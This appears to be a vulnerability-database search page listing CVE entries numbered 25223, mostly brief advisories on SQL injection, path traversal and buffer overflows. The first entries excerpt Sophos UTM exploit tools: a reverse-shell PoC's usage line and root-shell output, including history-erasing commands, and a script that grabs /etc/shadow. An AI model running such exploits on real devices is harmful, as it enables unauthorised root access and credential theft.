38 matches found
sophucked
sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id uid=0root gid=0root...
CVE-2020-25223
CVE-2020-25223 一个用于针对受影响的 Sophos UTM 测试 CVE-2020-25223 的 PoC 脚本。 给定一个 IP 地址，该脚本会尝试下载设备 /etc/shadow 文件的副本。 原始研究：https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223...
CVE-2018-25223
creationtimestamp| type| source ---|---|--- 2026-03-28 14:54:29+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mi4v7przwy24 2026-04-02 20:00:14+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mijyn2t7oi2w 2026-04-12 04:24:13+00:00| seen|...
CVE-2018-25223
Crashmail 1.6 contains a stack-based buffer overflow vulnerability that allows remote attackers to execute arbitrary code by sending malicious input to the application. Attackers can craft payloads with ROP chains to achieve code execution in the application context, with failed attempts...
CVE-2018-25223
CVE-2018-25223 : Crashmail 1.6 has a stack-based buffer overflow that allows remote code execution by sending crafted input to the application. Attackers can use payloads with ROP chains to run code in the application context, with failing attempts potentially causing a denial of service. Root ca...
CVE-2026-25223
creationtimestamp| type| source ---|---|--- 2026-02-03 22:19:35+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mdyfetewlo2h...
@amedia/brick-mcp (>=0.0.0-vEXPORT-20260113150210, <=0.1.5), @andesite-lab/andesite-core (>=1.60.2, <=1.62.0) +263 more potentially affected by CVE-2026-25223 via fastify (>=5.0.0, <=5.7.1)
fastify NPM version =5.0.0, =0.0.0-vEXPORT-20260113150210, =1.60.2, =2.0.1, =1.1.1, =0.1.1, =0.1.1, =0.1.1, =0.0.35, =0.0.82, =0.0.1, =0.0.6, =0.1.68, =6.0.0-alpha.1, =0.2.305, =1.0.6, =1.0.22 and more Source cves: CVE-2026-25223 Source advisory: SNYK:JS-FASTIFY-15182642...
@amedia/brick-mcp (>=0.0.0-vEXPORT-20260113150210, <=0.1.5), @andesite-lab/andesite-core (>=1.60.2, <=1.62.0) +263 more potentially affected by CVE-2026-25223 via fastify (>=5.0.0, <=5.7.1)
fastify NPM version =5.0.0, =0.0.0-vEXPORT-20260113150210, =1.60.2, =2.0.1, =1.1.1, =0.1.1, =0.1.1, =0.1.1, =0.0.35, =0.0.82, =0.0.1, =0.0.6, =0.1.68, =6.0.0-alpha.1, =0.2.305, =1.0.6, =1.0.22 and more Source cves: CVE-2026-25223 Source advisory: OSV:GHSA-JX2C-RXCM-JVMQ...
CVE-2023-25223
CRMEB =1.3.4 is vulnerable to SQL Injection via /api/admin/user/list...
CVE-2024-25223
Simple Admin Panel App v1.0 was discovered to contain a SQL injection vulnerability via the orderID parameter at /adminView/viewEachOrder.php...
CVE-2022-25223
Money Transfer Management System Version 1.0 allows an authenticated user to inject SQL queries in 'mtms/admin/?page=transaction/viewdetails' via the 'id' parameter...
CVE-2019-25223
The Team Circle Image Slider With Lightbox plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it...
CVE-2019-25223
CVE-2019-25223 affects the WordPress plugin “Team Circle Image Slider With Lightbox.” The Wordfence vulnerability entry confirms an SQL Injection via the parameter id in all versions up to 1.0.4, caused by insufficient escaping and lack of proper prepared statements. Impact per the CVSS metrics i...
CVE-2019-25223 Team Circle Image Slider With Lightbox <= 1.0.4 - Authenticated (Admin+) SQL Injection
The Team Circle Image Slider With Lightbox plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it...
CVE-2019-25223 Team Circle Image Slider With Lightbox <= 1.0.4 - Authenticated (Admin+) SQL Injection
The Team Circle Image Slider With Lightbox plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it...
CVE-2025-25223
The LuxCal Web Calendar prior to 5.3.3M MySQL version and prior to 5.3.3L SQLite version contains a path traversal vulnerability in dloader.php. If this vulnerability is exploited, arbitrary files on a server may be obtained...
CVE-2025-25223
The LuxCal Web Calendar prior to 5.3.3M MySQL version and prior to 5.3.3L SQLite version contains a path traversal vulnerability in dloader.php. If this vulnerability is exploited, arbitrary files on a server may be obtained...
CVE-2024-25223
CVE-2024-25223 affects Simple Admin Panel App v1.0. A SQL injection in the orderID parameter of /adminView/viewEachOrder.php is documented, with CVSS v3.1 base score 9.8 (CRITICAL) affecting confidentiality, integrity, and availability. Connected sources consistently identify the same vector. A f...